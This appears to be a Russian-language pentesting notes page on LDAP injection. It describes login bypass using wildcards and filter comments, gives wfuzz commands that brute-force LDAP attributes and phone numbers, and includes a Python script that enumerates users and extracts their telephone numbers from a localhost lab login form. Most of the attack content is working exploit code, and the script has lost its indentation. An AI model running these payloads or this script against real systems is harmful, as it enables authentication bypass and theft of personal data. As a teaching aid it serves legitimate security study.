> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/lightweight-directory-access-protocol-ldap-attack/ldap-techniques-pentesting-web.md).
# Техники LDAP
Вот несколько способов эксплуатации этой уязвимости:
1. Зная **ID пользователя** и используя символ /\* в качестве пароля (который обозначает всё):
2. Зная **начало ID пользователя** и затем добавив символ /\*:
3. Вводя a **действительный ID пользователя** и закомментировав обязательное поле запроса пароля:
## Атака перебором:
* С **Wfuzz**, мы можем запустить атаку, используя **перебор** чтобы определить все **атрибуты**:
```bash
wfuzz -c --hh=550 -w /usr/share/SecLists/Fuzzing/LDAP-openldap-attributes.txt -d 'user_id=admin)(FUZZ=*))%00&password=*&login=1&submit=Submit' http://localhost:8888
```
Когда мы узнаем атрибуты с помощью **Wfuzz** и определим **LDAP** точку внедрения в поле пароля, мы можем фильтровать по первому символу. В этом случае мы делаем это с помощью **номера телефона**:
```bash
wfuzz -c --hh=550 -z range,0-9 -d 'user_id=jordan)(telephoneNumber=FUZZ*))%00&password=*&login=1&submit=Submit' http://localhost:8888
```
## Автоматизированный Python-скрипт:
```python
#!/usr/bin/python3
from pwn import *
import sys, signal, time, requests, pdb
import string
def def_handler(sig, frame):
print("/n/n[+] Выход.../n")
sys.exit(1)
# Техники LDAP
signal.signal(signal.SIGINT, def_handler)
# Техники LDAP
main_url = "http://localhost:8888/"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
def initial_users():
characters = string.ascii_lowercase
initial_users = []
for character in characters:
post_data = 'user_id={}*&password=*&login=1&submit=Submit'.format(character)
r = requests.post(main_url, headers=headers, data=post_data, allow_redirects=False)
if r.status_code == 301:
initial_users.append(character)
return initial_users
def getUsers(initial_users):
characters = string.ascii_lowercase + string.digits
users = []
for initial_user in initial_users:
user = initial_user
for i in range(0, 15):
for character in characters:
post_data = 'user_id={}{}*&password=*&login=1&submit=Submit'.format(user, character)
r = requests.post(main_url, headers=headers, data=post_data, allow_redirects=False)
if r.status_code == 301:
user += character
break
users.append(user)
print("/n")
for user in users:
log.info('Найден действительный пользователь: %s' % user)
print("/n")
return users
def getTelephoneNumber(users):
characters = string.digits
telephone_numbers = []
p1 = log.progress("Получение телефонных номеров из локального LDAP")
p1.status("Запуск перебора")
p2 = log.progress("Получение номера телефона")
for user in users:
telf = ''
for i in range(0, 9):
for character in characters:
post_data = 'user_id={})(telephoneNumber={}{}*))%00&password=testing&login=1&submit=Submit'.format(user, telf, character)
r = requests.post(main_url, data=post_data, headers=headers, allow_redirects=False)
p1.status("[+] Получение номера телефона пользователя: %s | %s" % (user, post_data))
if r.status_code == 301:
telf += character
p2.status("Номер телефона: %s" % telf)
break
telephone_numbers.append(telf)
p2.success("Полученные номера: %s " % telephone_numbers)
if __name__ == "__main__":
initial_users = initial_users()
getUsers = getUsers(initial_users)
getTelephoneNumber = getTelephoneNumber(getUsers)
```
---
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